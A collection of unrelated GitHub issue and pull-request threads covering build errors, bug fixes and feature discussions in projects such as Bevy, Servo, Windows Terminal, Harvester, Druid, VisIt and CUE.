    console.debug(event.keyCode);
  });

// focus on click
document
  .getElementById('svg-wrapper')
  .addEventListener("pointerdown", function(event) {
    event.currentTarget.focus();
  });

https://codepen.io/luncheon/pen/rNJProp


compatability with farmers delight

requesting some compatibility be added for farmers delight refabricated as milk bottles can still be used to remove status effects.
https://modrinth.com/mod/farmers-delight-refabricated

I'll see what I can do

Done


Mac builds broken on bleeding edge rustc

Problem Description
Bevy builds (all current versions going back to at least 0.5) break when building executables targetting Mac OS (any recent version going back to at least 11) when using very new rustc builds.
If you build with the following toolchains or newer:

nightly-2021-11-26
1.58.0-beta.2
1.58.0 (when released in a few weeks)

you will encounter linker errors that look like this when building your bins:
          ld: warning: object file (/Users/johnheitmann/.cargo/registry/src/github.com-1ecc6299db9ec823/bevy-glsl-to-spirv-0.2.1/build/osx/libSPIRV-Tools-opt.glsltospirv.a(loop_dependence_helpers.cpp.o)) was built for newer macOS version (10.13) than being linked (10.7)
          Undefined symbols for architecture x86_64:
            "_CGDisplayCreateUUIDFromDisplayID", referenced from:
                _$LT$winit..platform_impl..platform..monitor..MonitorHandle$u20$as$u20$core..cmp..PartialEq$GT$::eq::h6f78623ba25a9eed in libwinit-8bce922fba7e3e4a.rlib(winit-8bce922fba7e3e4a.winit.10d84408-cgu.7.rcgu.o)
                winit::platform_impl::platform::monitor::MonitorHandle::ns_screen::h017dddbbcaca8c42 in libwinit-8bce922fba7e3e4a.rlib(winit-8bce922fba7e3e4a.winit.10d84408-cgu.7.rcgu.o)
            "_AudioUnitUninitialize", referenced from:
                _$LT$coreaudio..audio_unit..AudioUnit$u20$as$u20$core..ops..drop..Drop$GT$::drop::hdf3f9e1637ddb136 in libcoreaudio-593b06aab60419df.rlib(coreaudio-593b06aab60419df.coreaudio.25abf266-cgu.3.rcgu.o)
            "_AudioComponentInstanceDispose", referenced from:
                _$LT$coreaudio..audio_unit..AudioUnit$u20$as$u20$core..ops..drop..Drop$GT$::drop::hdf3f9e1637ddb136 in libcoreaudio-593b06aab60419df.rlib(coreaudio-593b06aab60419df.coreaudio.25abf266-cgu.3.rcgu.o)
            "_AudioComponentInstanceNew", referenced from:
                coreaudio::audio_unit::AudioUnit::new_with_flags::hb074a98038137feb in libcpal-4b4bbe89a6c5fa70.rlib(cpal-4b4bbe89a6c5fa70.cpal.d7755c34-cgu.6.rcgu.o)
            "_AudioComponentFindNext", referenced from:
                coreaudio::audio_unit::AudioUnit::new_with_flags::hb074a98038137feb in libcpal-4b4bbe89a6c5fa70.rlib(cpal-4b4bbe89a6c5fa70.cpal.d7755c34-cgu.6.rcgu.o)
            "_AudioOutputUnitStart", referenced from:
                coreaudio::audio_unit::AudioUnit::start::hece0dd7b15eec55d in libcoreaudio-593b06aab60419df.rlib(coreaudio-593b06aab60419df.coreaudio.25abf266-cgu.3.rcgu.o)
            "_AudioUnitInitialize", referenced from:
                coreaudio::audio_unit::AudioUnit::new_with_flags::hb074a98038137feb in libcpal-4b4bbe89a6c5fa70.rlib(cpal-4b4bbe89a6c5fa70.cpal.d7755c34-cgu.6.rcgu.o)
            "_AudioOutputUnitStop", referenced from:
                coreaudio::audio_unit::AudioUnit::stop::hbd2793409d2e72e2 in libcoreaudio-593b06aab60419df.rlib(coreaudio-593b06aab60419df.coreaudio.25abf266-cgu.3.rcgu.o)
            "_AudioUnitSetProperty", referenced from:
                coreaudio::audio_unit::set_property::h264624134583a3dd in libcpal-4b4bbe89a6c5fa70.rlib(cpal-4b4bbe89a6c5fa70.cpal.d7755c34-cgu.6.rcgu.o)
                coreaudio::audio_unit::set_property::hed651af50df18749 in libcoreaudio-593b06aab60419df.rlib(coreaudio-593b06aab60419df.coreaudio.25abf266-cgu.3.rcgu.o)
                coreaudio::audio_unit::set_property::h4ef85d566116da2c in librodio-74f0a70551800e01.rlib(rodio-74f0a70551800e01.rodio.45f70489-cgu.15.rcgu.o)
            "_AudioUnitGetProperty", referenced from:
                coreaudio::audio_unit::get_property::h5b62a84e4052ca5d in libcpal-4b4bbe89a6c5fa70.rlib(cpal-4b4bbe89a6c5fa70.cpal.d7755c34-cgu.6.rcgu.o)
                coreaudio::audio_unit::get_property::h8773bf66bc0b0060 in libcoreaudio-593b06aab60419df.rlib(coreaudio-593b06aab60419df.coreaudio.25abf266-cgu.3.rcgu.o)
          ld: symbol(s) not found for architecture x86_64
          clang: error: linker command failed with exit code 1 (use -v to see invocation)

A quick one-liner to reproduce this on a Mac is: cargo +beta build --example spawner.
Workarounds for Bevy Users
Set the mac deployment target to a more recent version than the default 10.7 target using the MACOSX_DEPLOYMENT_TARGET setting. e.g.: MACOSX_DEPLOYMENT_TARGET=11.0 cargo +beta build --example spawner
Alternately, build with rust 1.57.x or older.
Root Cause Fix & Info
Root cause as tracked in the rust project: https://github.com/rust-lang/rust/issues/91372
Short version: rustc used to let binaries be built for os versions they couldn't actually run on. New and intended logic makes the deployment target more painfully explicit so users can't accidentally build unrunnable binaries. Impacted libraries should do some combination of removing dependencies on new OS symbols, and/or raising their deployment target manually. The two crates that affect bevy in this way are coreaudio and winit. PRs (currently pending) for their fixes are here:
https://github.com/rust-windowing/winit/pull/2078
https://github.com/RustAudio/coreaudio-sys/pull/49

Thanks for writing this up; there's not much we can do ourselves, but the links (and investigation!) are incredibly helpful.

The rustc change was reverted, and the affected crates have since fixed (https://github.com/rust-windowing/winit/pull/2078 and https://github.com/RustAudio/coreaudio-sys/pull/51), so I believe this can be closed.

Awesome, thanks!


Use texture sharing instead of shared GL context

This would avoid #82 and give us fast WebGL rendering on macOS (per https://github.com/servo/servo/issues/11138#issuecomment-375087219), as well as the benefits described by https://github.com/servo/rust-webvr/issues/54#issuecomment-462363591.
The root of the problem is that Servo used shared OpenGL contexts to share WebGL textures
instead of using texture primitives that could be shared among different threads/processes
without requiring a shared GL context (e.g. SurfaceTextures on Andriod, IOSurface on Mac, etc)

We also need that a SurfaceTexture on Android.

For Firefox Reality immersive mode we need a SurfaceTexture on Android.
I think this wold be the approach for Servo immersive mode on Android:

Create a render target to a GL_EXTERNAL_TEXTURE_2D with its SurfaceTexture instead of a GL_TEXTURE_2D in Servo WebGLContext
WebRender should be updated to render using GL_EXTERNAL_TEXTURE_2D extension (for flat WebGL)
FxR can use the same SurfaceTexture for immersive mode. This works even if Servo is in another process so we don't need GL context sharing.

In order to share the SurfaceTexture, we need to share the java instance, it's not enough with the OpenGL texture id:

The global SurfaceTexture can be attached to different GL_textures depending on the GL context where its bound (e.g. it can use glTexId 2 in Webrender GL context, but 4 in FxR render context)
The textureId/texName for a SurfaceTexture can be changed by calling attachToGLContext so we can only share the java object reliably

It would be nice to combine the shared textures with this: https://github.com/servo/rust-offscreen-rendering-context/pull/131

The relevant repo is https://github.com/pcwalton/surfman

Fixed by https://github.com/pcwalton/surfman.


Introduce UiaRenderer project

Summary of the Pull Request
As a part of setting up UIA Events, we need to be able to identify WHEN to notify the client. We'll be adopting the RendererEngine model that the VTRenderer and DxRenderer follow to identify when something on the screen is changing and what to alert the automation clients about.
This PR just introduces the UiaRenderer. There's a lot of E_NOTIMPLs and a few comments throughout as to my thoughts. This'll make diffing future PRs easier and can make this process more iterative. The code does run with the PR so I plan on merging this into master as normal.
Here's the game plan:

Introduce Project
Hookup UiaEngine to Renderer
Selection Events
Text Buffer Events
Scroll Events
Resize events?
Cursor Events?

References
#2447

PR Checklist

[x] Closes None
[x] CLA signed.
[x] ~Tests added/passed~
[x] ~Requires documentation to be updated~

Detailed Description of the Pull Request / Additional comments
There's definitely some functions that we won't be using and we should just return S_FALSE on. But the ones that return E_NOTIMPL are the ones I plan on actually populating.

Validation Steps Performed
Build passes.

/azp run

Code format!

No clue why the CI is failing me. @DHowett-MSFT mind taking a look when you get the chance? Builds and deploys just fine.

@zadjii-msft's change to UpdateDrawingBrushes changed the signature, so your override function isn't overriding anything anymore.


Fix volume detach

IMPORTANT: Please do not create a Pull Request without creating an issue first.
Problem:

The pod  status of the restarted VM is Succeeded for a moment, causing the volume controller to detach volumes attached by longhorn, resulting  volumes cannot be mounted in the NodeStageVolume stage
Solution:

if volume's workload.WorkloadType is VirtualMachineInstance, add more check
Related Issue:

https://github.com/harvester/harvester/issues/3648
https://github.com/harvester/harvester/issues/3681
https://github.com/harvester/harvester/issues/3739
https://github.com/harvester/harvester/issues/3727
Test plan:

VMs can be restarted normally
More test refer to the test plan in https://github.com/harvester/harvester/pull/3670#issue-1628642961

Hi Hang, thanks for the hot fix. #3727 is not always reproducible in my environment. If a pod takes a longer time to terminate, volume can still be attached for a new pod. This situation may happen in container workload too. If we want to take care of it, it's better to add a new attach-volume-controller. This controller can watch pods. If there is a pending pod with LH PVCs, the controller tries to attach the volumes.
cc @bk201 WDYT? Thanks.

It looks like we have some edge case like:

Stop a VM.
If the volume gets into detaching, start the VM immediately.
Volume can't be attached again.

https://user-images.githubusercontent.com/4927361/228999261-302235ee-5f75-494d-9c84-c12ce150498e.mov

Thanks, I also found that there was one scenario that I didn't consider

Delete the VM but not the volume
snapshot the volume
Wait for the snapshot to complete

The expected behavior was that the volume would be detached after the snapshot was completed, but it did not. The reason is that the workloadsStatus of volume cannot truly reflect the real-time relationship between volume and workload.

I think I can turn this PR off because there are a few scenarios that are not considered. @FrankYang0529 feel free to create a new PR. CC @bk201

@FrankYang0529 Please see if we can base on @futuretea's work and make him a co-author.


Duplication of "Darwin Core Identification History" extension in Darwin Core Mappings drop-down

As in the subject line, v2.3 release.

Is this a new or existing installation that was upgraded? Is it in test mode or production?
Please go to the Core Types and Extensions page, and ensure only a single version of the Darwin Core Identification History is installed. If this was an existing installation that was upgraded to v2.3, you should have been alerted that the extension is out of date, and that a new version exists to update to.

This is a new installation in production mode. I disabled the extension, it disappears from the drop-down as expected but when I re-enable it, two instances re-appear in the drop-down anew.

Thanks. I can confirm it also happens in test mode too.
The duplication appears confined to extensions loaded by keyword (e.g. dwc:Occurrence).

Please note that 2.3.1 fixes this issue and is available for download here.


fallback to default terminal size if reported as 0

Hi David, thank you for this!
Merged in: https://github.com/jonathanslenders/python-prompt-toolkit/commit/e73b9212991d84aed56d004223ead01d8156a369


Remove specific handling for MSTest in trx logger

Description
Remove specific handling for MSTest in trx logger. It's not clear why this specific code was added as it seems that older versions of MSTest don't reach that place.
Related issue
See #1784 where specific handling for mstest was added. See https://github.com/microsoft/testfx/issues/1149 where issue was detected.

:shipit:


Spike: Figure out the work it would take to add a path to upgrade from Flux to WeGO

If a user has an existing cluster with Flux installed and running, we should provide an easy way for them to upgrade to wego. This could be a large adoption driver for the WeGO project. Ideally, this would be a single command.
UX: Flux cluster -> wego <some command> -> WeGO cluster
I don't think it will be possible to "detect" applications, but maybe a cluster that is equivalent to the gitops install end state would be enough. That would give the user:

The ability to do gitops app add
A browser UI

Possible spike outcomes:

One or more issues that encapsulate the work that would be required to make this happen
A PoC implementation

Timebox: TBD

Can we just install into flux-system? (get rid of wego-system)

I tried this, CLI appears to work but is a pain having to add --namespace against every command. We should chat to the Flux folks and agree a way that this can be stored as config/env var. UI doesn't work due to https://github.com/weaveworks/weave-gitops/issues/816

@sympatheticmoose Do we need to support going back to just flux managed?  Or starting with GitOps and wanting to go to just a flux-managed cluster?

I propose for Weave GitOps Core to detect and require only GitOps Toolkit capabilities. No matter where Flux is installed and how is managed (flux install, flux bootstrap, flux terraform provider, eksctl, EKS Anywhere, Azure Arc, RedHat OperatorHub, D2iQ DKP), we can look for the APIs that WeGo depends on:

source.toolkit.fluxcd.io/v1beta1
kustomize.toolkit.fluxcd.io v1beta2
helm.toolkit.fluxcd.io v2beta2

Weave GitOps Core could warn users that it's their responsibility to upgrade Flux and keep the controllers versions in a range that WeGo supports (wego check --pre).
I think that telling users to migrate to a WeGo managed Flux it's not feasible on every platform, especially if the platform competes with WeGo like D2iQ DKP. For WeGo Enterprise, we may want to enforce a managed Flux. But for the Core edition, I would allow any Flux user to migrate, without any changes to their clusters. This way, I think we can showcase WeGo's unique capabilities even on clusters bootstrapped with a competitor's solution that embeds Flux.

Closing in favor of creating a ticket that encapsulates the work that needs to be done.


Fix the config initialization on container restart

Description
The following PR fixes the bug outlined below:
On the initial docker container run, the config is copied to the /tmp dir as follows:
mkdir -p /tmp/conf/
cp -r /opt/druid/conf/druid /tmp/conf/druid

Which effectively creates the directory /tmp/conf and copies the directory druid to it.
Therefore, we end up with the structure as follows:
/tmp/conf/druid/
--------------------> [druid configs]

Which is the wanted behaviour.
However, after executing docker restart druid-container or restarting the container in any other way, the cp program copies the directory druid to the directory /tmp/conf/druid, which leads to the structure /tmp/conf/druid/druid, i.e.
/tmp/conf/druid/
--------------------> [druid configs]
--------------------> druid/[druid configs]

This makes it impossible to modify the mounted configuration without completely removing the file system of the container (recreating it).
Fixed the bug
Added the test for the existing target config directory in /tmp and its removal.

[seems irrelevant for the change like this]
This PR has:

[x] been self-reviewed.

[ ] using the concurrency checklist (Remove this item if the PR doesn't have any relation to concurrency.)

[ ] added Javadocs for most classes and all non-trivial methods. Linked related entities via Javadoc links.
[ ] added or updated version, license, or notice information in licenses.yaml
[ ] added documentation for new or modified features or behaviors.
[ ] added comments explaining the "why" and the intent of the code wherever would not be obvious for an unfamiliar reader.
[ ] added unit tests or modified existing tests to cover new code paths, ensuring the threshold for code coverage is met.
[ ] added integration tests.
[x] been tested in a test Druid cluster.

@valdemar-giosg sorry for late review. Travis CI failures seem transient, but I cannot re-trigger them for some reason. I suspect it's because it ran 2 months ago. I'm closing and re-opening this PR to re-trigger Travis.

The failed Travis CI seems an old one which was replaced by the new one based on GitHub action. The new CI passed, so I'm merging this PR.


Fix tiny typo (antoher -> another) in PHP example readme

Just a tiny typo I noticed while I was testing this (very neat so far!) project out.

Thanks for the input!


Cmake version on 3.3RC branch

Describe the bug
On branch 3.3RC, version of cmake is 3.18.2, while on develop it is
3.24.2
As a consequence, I am not able to build visit from scratch using the build_visit script
<visit_clone>/src/tools/dev/scripts/build_visit
the error is:
"bash bv_run_cmake.sh
CMake Error at CMakeLists.txt:565 (cmake_minimum_required):
CMake 3.24 or higher is required.  You are running version 3.18.2"
Helpful additional information

If you add --cmake to your build_visit command line, you will always have the correct version of cmake for the version of VisIt you are building.  Not ideal if you wanted to use an already-built cmake from a previous version, I know. But, if you have cmake 3.24.3, it will work with 3.3RC as well as develop.

OK, thanks, indeed, specifying --cmake will select cmake 3.24.3.


cue: Go API downloads more than necessary for simple use cases

Right now, a simple example like<EMAIL_ADDRESS>downloads quite a lot of modules:
go: finding module for package cuelang.org/go/cue
go: finding module for package cuelang.org/go/cue/cuecontext
go: downloading cuelang.org/go v0.4.3
go: downloading github.com/cockroachdb/apd/v2 v2.0.1
go: downloading github.com/cockroachdb/apd v1.1.0
go: downloading github.com/mpvl/unique v0.0.0-20150818121801-cbe035fff7de
go: downloading golang.org/x/text v0.3.7
go: downloading golang.org/x/net v0.0.0-20200226121028-0de0cce0169b
go: downloading github.com/google/uuid v1.2.0
go: downloading github.com/pkg/errors v0.8.1
go: downloading gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b

Some of these look unnecessary, like pkg/errors and apd v1. We should trim these down.

We can drop pkg/errors once https://github.com/cockroachdb/apd/issues/123 is done.

I gave it a quick go, and it mostly works, though a few tests are unhappy due to different resulting precision. For example, in master with a bit of debug logging to see the apd.Decimal being marshaled:
$ go test -v -run TestMarshalJSON/22 ./cue
=== RUN   TestMarshalJSON
=== RUN   TestMarshalJSON/22/a:_1.0/1
apd.Decimal{Form:0, Negative:false, Exponent:-1, Coeff:big.Int{neg:false, abs:big.nat{0xa}}}
"1.0"
--- PASS: TestMarshalJSON (0.00s)
    --- PASS: TestMarshalJSON/22/a:_1.0/1 (0.00s)
PASS
ok  	cuelang.org/go/cue	0.005s

and now in my branch:
$ go test -v -run TestMarshalJSON/22 ./cue
=== RUN   TestMarshalJSON
=== RUN   TestMarshalJSON/22/a:_1.0/1
apd.Decimal{Form:0, Negative:false, Exponent:-23, Coeff:apd.BigInt{_inner:(*big.Int)(nil), _inline:[2]big.Word{0x2c7e14af6800000, 0x152d}}}
"1.00000000000000000000000"
    types_test.go:2721:
         got {"a":1.00000000000000000000000};
        want {"a":1.0}
--- FAIL: TestMarshalJSON (0.00s)
    --- FAIL: TestMarshalJSON/22/a:_1.0/1 (0.00s)
FAIL
FAIL	cuelang.org/go/cue	0.006s

This seems like a change that we don't want, because we add verbosity for no reason. However I can't tell if it's a bug on our side (perhaps relying on undocumented behavior), or an intentional change in behavior in upstream's v3, which they are allowed to do per semver. I could not find anything in their release changelogs.
Worth noting that I think the new Exponent:-23 comes from CUE using an apd precision of 24.
I think upstream changed this in https://github.com/cockroachdb/apd/pull/115, as it removes calls to Reduce from funcs like Quo, which is about removing trailing zeros. And this test in particular performs a division.

I should have clarified that the CL is https://review.gerrithub.io/c/cue-lang/cue/+/543421, and the full results are at https://github.com/cue-lang/cue-trybot/actions/runs/3045646884/jobs/4907455935.


Fixup inclusion of the tests in the source tarball

My mistake for not verifying my first patch before hand. The tarball for version 0.4.0 on PyPI still lacks the test suite. This commit fixes it.

oops -- I should have tested this, too!
Thanks

Could you publish a hotfix release for this (0.4.1 perhaps?) so I can update the Debian packaging with the tests? Thanks.

Done
On Tue, Sep 5, 2017 at 11:48 PM Ghislain Antony Vaillant <
<EMAIL_ADDRESS>wrote:

Could you publish a hotfix release for this (0.4.1 perhaps?) so I can
update the Debian packaging with the tests? Thanks.
—
You are receiving this because you modified the open/close state.
Reply to this email directly, view it on GitHub
https://github.com/shoyer/h5netcdf/pull/30#issuecomment-327391392, or mute
the thread
https://github.com/notifications/unsubscribe-auth/ABKS1nSg9lERL9GeN4YTKkXwz_GEFMEHks5sfkBPgaJpZM4PNekm
.